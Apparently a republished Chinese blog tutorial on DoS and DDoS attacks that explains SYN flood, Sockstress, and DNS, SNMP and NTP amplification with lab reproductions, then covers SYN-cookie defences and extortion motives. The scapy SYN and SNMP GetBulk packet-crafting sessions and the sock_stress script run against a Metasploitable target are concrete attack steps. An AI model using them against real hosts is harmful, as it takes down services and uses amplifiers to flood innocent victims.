GitChat 被恶意攻击引发的技术性思考:拒绝服务攻击

「文末高能」

编辑 | 哈比

拒绝服务的类型很多,挑几个有特性的来讲,推荐读者按照本文所说内容,尝试手动复现,纸上得来终觉浅,绝知此事要躬行。

拒绝服务概念

拒绝服务攻击(Denial of Service,简称 DOS,即拒绝服务)造成其攻击行为被称为 DoS 攻击,其目的是使计算机或网络无法提供正常的服务。

最常见的 DoS 攻击有计算机网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽 , 最后导致合法的用户请求无法通过。

Dos 是 Denial of Service,不是微软的操作系统的 DOS,两者是不相同的,因此正规的规范写作应该是 DoS 而不是 DOS。

DoS 拒绝服务和 DDoS 拒绝服务的区别:

DoS 由单一机器发起,利用程序漏洞或者一台机拖一台机进行资源消耗来进行拒绝服务攻击

DDoS 则相比 DoS 多了一个 “D”,意思也很好理解,当前背景下,分布式设计技术成熟,DoS 这种攻击手段也有了分布式拒绝服务,也就是 DDoS。

DoS 是一对一的,他拼的是攻防双方的带宽处理能力,如果你没有漏洞,我就给你发包,单纯的耗你的资源,对方处理不过来,自然也就进入暂停服务状态。

相反,如果对方能够处理,你的攻击也就毫无效果,比如你是一台 1G1H1M 的的服务器,对方是一台 16G16H30M 的服务器,对拼资源能够打得过么?显然打不过啊,在没有漏洞的状态下,单凭数据处理能力打得过才怪了 ….

画面好比你 1 级新人一身的白装去砍 80 级的世界 BOSS 白野猪,没有麻痹戒指也没有装备回收,只有一地的寂寞……

DDoS 则是多对一的攻击,他和 Dos 不同的是,这下不是一对一了,是多对一,一群机器把所有的 CPU 资源拿来和攻击你,你说你服务器配置比我好?

没关系的,人多力量大,我有 10000 个 1G1H1M 的机器拿来发包,有问题么?人多占理就是打的你没脾气。

这就好比打群架,你的攻击力是 1000,好比太极宗师杨露禅的级别,但你只有一人,你的对手攻击力是 1,好比某街头欺凌良家妇女的肥仔。

刚开始你路见不平拔刀相助,一拍桌子:” 姑娘莫怕,在下来救你。“然后和肥仔展开厮杀,你完爆肥仔。按照调戏良家妇女的情节发展,肥仔一般会有兄弟,而这个肥仔的兄弟是 10000 个攻击力等于 1 的小肥仔,大肥仔来一嗓子:” 小的们上,砍死他。”

这个时候你慌了,你说:“兄弟,江湖人将就的是公平正道啊,一个一个的上单挑得不?”

肥仔:“嘿嘿,我们这道的只讲手段。”

你:” 无耻老贼!”

只能喊出这一句后默默挨打,你说兄弟我还有一事要求,就是能不能不要踩脸啊?

你可能在想攻击力差距这么大,一个招秒了吧?不不不,回到我们所说的群殴情节,什么叫群殴?一起上才叫群殴,一万个小肥仔一起上怕不怕,单挑肯定是不存在的。

DDoS 也是如此,在于人多量大,一打一我打不过你,那么我群殴,有几率打得过你。我可以使用并发,打流量,疯狂访问网页,你本身处理不过来,那么就会产生拒绝服务。

我还可以换种方式讲这个概念。

比如火灾发生了,一个安全门很小,平常出入两三个人可以放行,但是火灾来了,人多,都在往安全门窜,原本只能容纳两三个人通过的门,突然来了一群壮汉来挤进来,门肯定不让过。

拒绝通行了,也就拒绝服务了,原因是资源/人数溢出太大。

以前拒绝服务挺简单的,使用的人耶大多数是那些不学无数的年轻人,我没什么技术,就是单纯的想干死你。

现在可不简单呐,使用的人群不仅仅是那些年轻人,已经上升到黑产链了,利益链就是敲诈,勒索服务。

笔者接到过不少小公司的安全咨询,都有一个共同问题,就是被拒绝服务攻击者所敲诈勒索。

你开站可以,你可以赚钱,但是你必须给我交保护费,这样我有钱赚,你也有钱赚;如果不给,那我就打你的网站,打死了,你没得钱赚,我也没得钱赚。

相比之下,初创公司一般都会选择交钱给保护费,也是一种无奈之举。拒绝服务的解决办法就是拼资源,或者购买抗 D 设备,要不然还真的没法搞。

从上面那个故事也可以看出拒绝服务的特性:不要脸,没办法,极其无赖。这也是我在前文所说为什么是互联网之痛的原因。接下来讲讲技术性的东西。

DoS 的攻击途径

网络-> 服务-> 服务应用

比如,我从我从我电脑去访问我服务器的应用 HTTP Server,操作系统会建立三次握手,中间就经过了网络服务,接着交给操作系统返回给服务端,比如阿帕奇,到这里从我本机的数据已经发出去了,那么应该还会返回一次到我的本机,完成一次循环。

那么,中途打断任何一次访问,我的本机都是不会收到服务端的返回数据,就对我一个人造成了拒绝访问,其他人不一定也是拒绝服务状态。

如果是一条光缆设备,上游和下游链接了无数客户端,把这个设备打死了,造成的拒绝服务就不是单一层面的了,所以看拒绝服务要要分清楚。

可以针对一个应用服务去打,让这个完整的数据流不完整就可以造成拒绝服务。例如公司网站打不开,你怀疑是被攻击了。这个时候你就去问同事,同事说他可以打开。

那么,你打不开的原因很多,可能是你上游的路由被打死了,让你三层握手不完整,属于单一 DoS 攻击,你的同事能打开,说明公司网站并不是拒绝服务的状态,只是仅仅对你一个人产生了拒绝服务。

DoS 的攻击方式属于耗资源方式,通常有以下几种模式。

1. 带宽

发送大量数据包,塞流量,好比一个饭馆只能容纳 100 个人,我塞 100 个人进来不吃饭只是坐着,自然让其他顾客无法吃饭,造成拒绝服务。

2. 服务器处理量

比如服务器的并发量,打群架,一个人买一个苹果产生一条订单,服务器最大同时处理一百条订单,我找二百个人来买苹果,并发处理不过来就拒绝服务了。

3. 服务器的 CPU 和内存

服务器的两项必备就是看 CPU 和内存,操作系统的配置太低也能给你塞满。

4. 应用

应用程序,理解成一个 Web 应用就好了,回到买苹果,处理能力太低了,也就拒绝服务了。很多时候都是应用层拒绝,造成操作系统拒绝,专打你的 CPU,CPU 百分之百,随时卡死。

由此说明,D 的方法有很多,从任何地方都可以 D 你。不管是单一还是众多的 D 类型,目标总是让系统或者程序达到上限或者崩溃,完成拒绝服务状态即可。

Dos 攻击类型分类

DoS 的攻击类型分类有以下几种。

1. 打网络

比如 UDP 协议的 Flood,TCP 的 Flood,就是给你发巨量的包来耗尽你的资源。

2. 打协议

比如 Syn Flood、UDP Flood

3. 打应用

利用大量频繁的访问操作系统特定的资源类型,可以是一个文件,(png)也可以是 Apache 等。

DoS 攻击技术原理

Syn Flood 攻击图解:

Syn Flood 的草图

在进行连接时,TCP 需要三次握手,客户端要发起 TCP 连接到服务端,那么会先发一个 Syn 包,建立连接了后才能建立后面的链接,图中我已经画出来了。

A 发送 Syn 发送给电脑,电脑收到了 Syn 知道你想和我建立链接,电脑回你一个 Syn-ACK,你拿到这个包后发送给电脑 ACK 包,这样 TCP 三次握手就完成了。

第一次握手:建立连接时,客户端发送 syn 包 (syn=j) 到服务器,并进入 SYN_SEND 状态,等待服务器确认;

第二次握手:服务器收到 syn 包,必须确认客户的 SYN(ack=j+1),同时自己也发送一个 SYN 包(syn=k),即 SYN+ACK 包,此时服务器进入 SYN_RECV 状态;

第三次握手:客户端收到服务器的 SYN+ACK 包,向服务器发送确认包 ACK(ack=k+1),此包发送完毕,客户端和服务器进入 ESTABLISHED 状态,完成三次握手。

如果有一个用户,也就是用户 A,发送一堆 Syn 包,电脑会给他回 SYN-ACK 包,但是第三次的 ACK,用户 A 不去回包,电脑就会一直等着你这个包,建立是不完整的,挂在那里。

如果一堆不完整的链接建立在哪里,超出了最大连接数,就会产生拒绝服务。这样,第二个用户,也就是 B,发 SYN 包给电脑,电脑此刻已经不回包了,是拒绝服务状态了,无法正常建立 TCP 链接。

下面我将实战怎么用 Syn Flood 攻击。

我开了两台机,一台是 Windows2003,一台是 Linux。

用 scapy 进行构造数据包 syn 攻击。

i=IP()i.display()

命令是查看 IP 包头的内容。

此处的 “I”,不是固定的,是个变量,为了方便我定义为了 I。

唯一要修改的就是目标地址,也就是 src 和 dst 两个函数内容。

>>> i.dst="192.168.0.9">>> i.display()###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 192.168.0.10 dst= 192.168.0.9 \options\>>>

IP 头的包定义好了,接下来定义 TCP 的包。

命令是 t=TCP()>>> t.display()###[ TCP ]### sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= {}

这些函数的说明相信读者也能自己看懂,我攻击的是靶机上的 22 端口,就把端口改一下即可。

>>> t.dport=22>>> t.display()###[ TCP ]### sport= ftp_data dport= ssh seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= {}>>>

TCP 包和 IP 包都配置完成了,接下来就是发送出去了。

IP 包头要在前面,TCP 包头要在后面才行。

命令如下:

sr1(i/t,verbose=1,timeout=2)

然后发送出去,这里的 verbose 和 timeout 都可以不要。

包丢回来了,可以看一下,这就是一次 SYN 攻击,当然量小是不够的,可以写个小脚本自动并发,把过程给简略,发送大量的 SYN 包过去。

可以开抓包看一下发送的 SYN 包和流量过程。

我手动发了很多次,抓包结果如图。

可以看到从我本机和 Linux 靶机建立的 TCP 链接都没有成功,全是未完整的。

没写脚本,有兴趣的读者可以自己写个 py 脚本,塞满 22 端口连不上就可以了,也就是 SSH 服务。

要打什么服务改什么端口就行了。

另外值得一提的是,拒绝服务攻击里常带有 IP 地址欺骗,用来绕过一些 IP 黑名单模拟多用户打群架来发起 DDoS 攻击,也可以防止溯源。

Sockstress 攻击实例

这是一个针对 TCP 服务的拒绝服务攻击,是利用建立大量的 socket 链接,完成三次握手,用户端不接受数据。

这种攻击方法非常的骚,肥仔打杨露禅一对一也不是完全没有赢过的几率。

特点就是攻击者的消耗资源小,CPU 内存这些耗的很低很低。

怎么理解呢?在 TCP 三次握手的交流中,最后一次 ACK 包,攻击者将 Window 窗口大小设置为 0

电脑收到了,发现你的包大小为 0,于是服务端就以为你在忙,就会一直等你忙完然后建立链接。

把你的 TCP 链接给挂着,我不停的发包,发给你,让你维持这个包的存在,我作为攻击者消耗肯定很小,而服务端要不停的拿资源出来等我链接。

肥仔单挑杨露禅就是这样子了。

我给你发 SYN,你给我回 SYN-ACK,你给我回 ACK 过去,ACK 里的 Window 我设置为 0,这样子设置一个循环,不停的去发包。

就造成了 Sockstress 攻击,可以按照这个思路去写一个脚本来模拟攻击。

./sock_stress.pyWARNING: No route found for IPv6 destination :: (no default route?)********************************************************* Python SockStress DoS **** by rNma0y **** Gitchat! *********************************************************Usage - ./sock_stress.py [Target-IP] [Port Number] [Threads]Example - ./sock_stress.py 10.0.0.5 21 20Example will perform a 20x multi-threaded sock-stress DoS attack against the FTP (port 21) service on 10.0.0.5***NOTE***Make sure you target a port that responds when a connection is maderoot@kali:~# ./sock_stress.py 192.168.0.9 22 200WARNING: No route found for IPv6 destination :: (no default route?)********************************************************* Python SockStress DoS **** by rNma0y **** Gitchat! *********************************************************The onslaught has begun...use Ctrl+C to stop the attack

脚本运行结果如图所示,继续攻击 22 端口,也就是 SSH,远程连接 SSH 已经连不上了。

回到 Linux 的机器,查看流量,可以看到我从我本机发出来的 TCP 连接都是在连接靶机的 22 端口。

断掉攻击后,重新连接 SSH。

ssh msfadmin@192.168.0.9msfadmin@192.168.0.9's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.To access official Ubuntu documentation, please visit:http://help.ubuntu.com/No mail.Last login: Sun Nov 12 11:02:55 2017 from 192.168.0.10msfadmin@metasploitable:~$

可以看到秒连接,到这里为止,Sockstress 攻击复现完毕。

DNS 放大攻击

普通的 DoS 攻击配合 DNS 放大来讲是个神技,好比杨露禅得到了太极拳的真谛

DOS 攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。

DNS 放大攻击的原理:伪造 DNS 数据包,向 DNS 服务器发送域名查询报文了,而 DNS 服务器返回的应答报文则会发送给被攻击主机。

放大体现在请求 DNS 回复的类型为 ANY,攻击者向服务器请求的包长度为 1 个字节,而服务器向被攻击主机回复的 ANY 类型 DNS 包长度为 10 字节,大约放大了 10 倍。

DNS 协议放大攻击就是利用协议特性来进行放大攻击流量效果,特点是请求流量小,但是响应非常巨大,翻几十倍几百倍都可以。

假设杨露禅一对一,打肥皂的伤害是 1000,经过秘法放大后,打到肥皂身上就是 100000,此时杨露禅是带着面纱的,伪造了一个身份是肥仔的手下,借肥仔的手下的身份去打了肥仔。

肥仔不乐意了,回包给你,经过肥仔秘法提升后的伤害打到你身上就是你当初所打的伤害的一百倍。

杨露禅又换了个身份,用肥仔的身份去惹事,惹了江湖上的白发魔女和包租婆。

包租婆看到自己受到了伤害,不服,自然就会打到肥仔的身上。

故事说明了,依靠身份欺骗(IP)伪造,去惹 DNS 服务器,用小流量打 DNS 服务器,DNS 服务器放大后返回给你的伪造 IP,伪造 IP 那个人无辜躺枪。

就这样,DNS 放大攻击技术完成。

原理就是给开启了递归查询的服务器发起查询,DNS 服务器成为流量放大和攻击者,大量的 DNS 服务器就可以实现巨量 DDos 攻击。

很遗憾,我并没有找到有递归查询的 DNS 服务器,我的网络环境也不允许我伪造 IP 源无法演示 DNS 流量放大的效果,有兴趣的读者可以自行寻找。

SNMP 放大攻击

SNMP 是一个网络管理协议,SNMP(Simple Network Management Protocol,简单网络管理协议),是目前网络中应用最为广泛的网络管理协议,它提供了一个管理框架来监控和维和互联网设备,它使用 UDP161 端口进行通信。

攻击者向互联网上开启 SNMP 服务的设备发送 GetBulk 请求,并使用默认通信字符串作为认证凭据。常见的默认通信字符串如 public、private 以及一些厂商默认的通信字符串。

GetBulk 请求是在 SNMPv2 中添加的的,该请求会让 SNMP 设备尽可能多的返回数据,这也就是 SNMP 放大攻击的利用点。

攻击者先将源地址改成要攻击的目标 IP,再使用默认的通信字符串,向大量 SNMP 设备发出 GetBulk 请求,设备收到 GetBulk 请求数据包后,会将一大段的设备检索信息返回给目标主机,最终目标主机会被这些 SNMP 设备返回的数据包淹没,导致拒绝服务。

SNMP 的端口一般是 161,此种攻击方法的特点则是请求流量小,结果流量大,能够伪造源 IP 来实施攻击。

SNMP 需要先在你的服务器下安装好 SNMP 服务,如图所示:

然后双击打开配置,设置如下:

这里的团体相当于密钥,但他不是固定的,还有接受来自任何主机的数据包是我个人为了方便,读者可以自行添加主机 IP 地址。然后启动服务,回到主机进行发包攻击。

root@kali:~# scapyINFO: Can't import python gnuplot wrapper . Won't be able to plot.WARNING: No route found for IPv6 destination :: (no default route?)Welcome to Scapy (2.3.2)>>> >>> >>> >>> i=IP()>>> i.display()###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 127.0.0.1 dst= 127.0.0.1 \options\>>> i.dst="192.168.0.14">>> i.display()###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 192.168.0.10 dst= 192.168.0.14 \options\>>> u=UDP()>>> u.dport=161>>> u.display()###[ UDP ]### sport= domain dport= domain len= None chksum= None>>> s=SNMP()>>> s.display()###[ SNMP ]### version= v2c community= 'public' \PDU\ |###[ SNMPget ]### | id= 0 | error= no_error | error_index= 0 | \varbindlist\>>>

community= ‘public’

到这里,如果你设置的密码不是 public,就要改,我这里需要更改。接着就要需要用到前文所说 SNMP 的 “bulk” 函数,不懂的请上翻。

>>> s.community="rNma0y">>> b=SNMPbulk()>>> b.display()###[ SNMPbulk ]### id= 0 non_repeaters= 0 max_repetitions= 0 \varbindlist\>>> b.max_repetitions=100>>>

b.max_repetitions=100 就是查询一百次,把流量放大一百倍。

>>> s.display()###[ SNMP ]### version= v2c community= 'rNma0y' \PDU\ |###[ SNMPget ]### | id= 0 | error= no_error | error_index= 0 | \varbindlist\>>> s.PDU=b>>> s.display |>, |>] |> |>>>>> s.display()###[ SNMP ]### version= v2c community= 'rNma0y' \PDU\ |###[ SNMPbulk ]### | id= 0 | non_repeaters= 0 | max_repetitions= 100 | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= | | value= | |###[ SNMPvarbind ]### | | oid= | | value=

检查无误后就可发送数据包。

>>> sr1(r)Begin emission:.Finished to send 1 packets.WARNING: DNS RR prematured end (ofs=8484, len=1460)WARNING: DNS RR prematured end (ofs=8694, len=1460)WARNING: more DNS RR prematured end (ofs=5175, len=1460)*Received 2 packets, got 1 answers, remaining 0 packets>>

我插这串代码的时候,Gitchat 的写作页面卡死了,造成了某 JS 调试后删除了大部分代码 …..

可以看到,我发出去了 94 个字节,返回来的包是 1514+1514+1423=4451 个字节,翻了多少倍?400 倍。

这还只是重复了一百次,如果重复两百次呢?一千次呢?几兆字节也能通过放大攻击达到几 GB 的恐怖威力。

NTP 放大攻击

NTP 放大攻击所利用的协议是 NTP 协议,全称是 Network Time Protocol,网络时间协议。是用于在互联网中对不同主机进行时间同步的协议。

其中运行某些版本 NTP 的服务器默认开启了对 MONLIST 命令的支持,这条命令的作用是向请求者返回最近通过 NTP 协议与本服务器进行通信的 IP 地址列表,最多支持返回 600 条记录。走 UDP123 端口。

也就是说,如果一台 NTP 服务器有超过 600 个 IP 地址使用过它提供的 NTP 服务,那么通过一次 MONLIST 请求,你会收到返回的包含 600 条记录的数据包。这应该远远大于你发送查询命令的数据包大小。

攻击原理来自 NTP 的查询服务,NTP 服务器可以返回最后同步时间的 600 个客户端 IP,没 6 个 IP 成一个独立数据包,最多一百个数据包,放大的攻击倍数则是 100 倍。

这个攻击的实例则需要用到 Nmap 脚本扫描,来发现 NTP 服务

具体操作过程如下:

nmap - sU -p 端口 ip

通过 nmap 的弱点扫描去扫描开放了 123 的端口,很大几率能发现 NTP 服务。

如果开着的,你就可以利用,用来做傀儡机进行流量放大攻击,并不需要木马什么的控制。

现在 NTP 安装好后,NTP 查询服务是默认关闭的,我这也没有靶机进行演示,各位读者可以自行搭建个 Ubuntu 的靶机安装 NTP 端口后进行体验,NTP 服务大概能放大 100 倍以上。

关于 DoS 防御方案如下

但是要明白,只能缓解,不能完全解决。防范 SYN Flood 攻击如下:

首先确认网络负载挂了空包,接着就可以按以下缓解 SYN Flood,SYN Flood 攻击大量消耗服务器的 CPU、内存资源,并占满 SYN 等待队列。

相应地,我们修改内核参数即可有效缓解。主要参数如下:

接着启用 SYN Cookie 参数,设置最大连接数。启用 SYN Cookie、设置 SYN 最大队列长度以及设置 SYN+ACK 最大重试次数。

SYN Cookie 的作用是缓解服务器资源压力。启用之前,服务器在接到 SYN 数据包后,立即分配存储空间,并随机化一个数字作为 SYN 号发送 SYN+ACK 数据包。然后保存连接的状态信息等待客户端确认。

启用 SYN Cookie 之后,服务器不再分配存储空间,而且通过基于时间种子的随机数算法设置一个 SYN 号,替代完全随机的 SYN 号。发送完 SYN+ACK 确认报文之后,清空资源不保存任何状态信息。

直到服务器接到客户端的最终 ACK 包,通过 Cookie 检验算法鉴定是否与发出去的 SYN+ACK 报文序列号匹配,匹配则通过完成握手,失败则丢弃。

最后一步靠防火墙设置规则。

到了多样化 DDoS 攻击的时候,具体可以根据经济实力来决定。增强防御能力增加攻击者攻击成本即可。

升级服务器宽带;

升级服务器配置;

购买抗 D 服务;

防火墙做流量清洗;

Web 服务伪静态或者纯静态能减小攻击。

这类攻击没办法根除,只能缓解。

DDoS 攻防战的思考

DDoS 打的是钞票,CDN 一夜七八万的大有人在,作为黑产链中必不可缺的一部分,里面究竟有什么利益链呢?

1. 敲诈勒索

DDoS 由于成本低、实施容易等特点,在较早期就开始成为不法之徒在网络上敲诈勒索的主要方式。首先,勒索者或勒索组织选取目标网站,对其发起示威性的 DDoS 攻击,使其业务受到影响。接着,勒索者向受害者发送勒索信,收取所谓的「保护费」。如果受害者不按照要求支付费用,就会继续遭到更猛烈的攻击。因此,对于众多互联网业务的经营者来说,DDoS 敲诈勒索始终是一个挥之不去的梦魇。

场景:初创公司,在线支付中心。

2. 商业竞争

类比同行竞争,我们货一样的质量,你卖的却比我的好,有嫉妒就回来攻击你,让你损失营业额。

笔者遇到过一个真实的事情,有两家网吧,都是网咖的形式,挨着很近,但是 A 这家网吧总比 B 这家网吧生意好的多,A 老板不高兴便找了两个人全天对 B 网吧进行 DDoS,B 网吧遭受了攻击后,玩家看 A 网吧太卡了,便跑去 B 网吧上网。

这样,A 网吧流失用户,B 网吧人流增加,造成商业竞争。

应用场景:电商,游戏,有利益竞争的行业。

DDoS 的人员太多,利益链也不止这一种,从事 DDoS 的人员不需要任何技术,会动鼠标和键盘就可以了。

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20180131B04R8H00?refer=cp_1026

扫码关注云+社区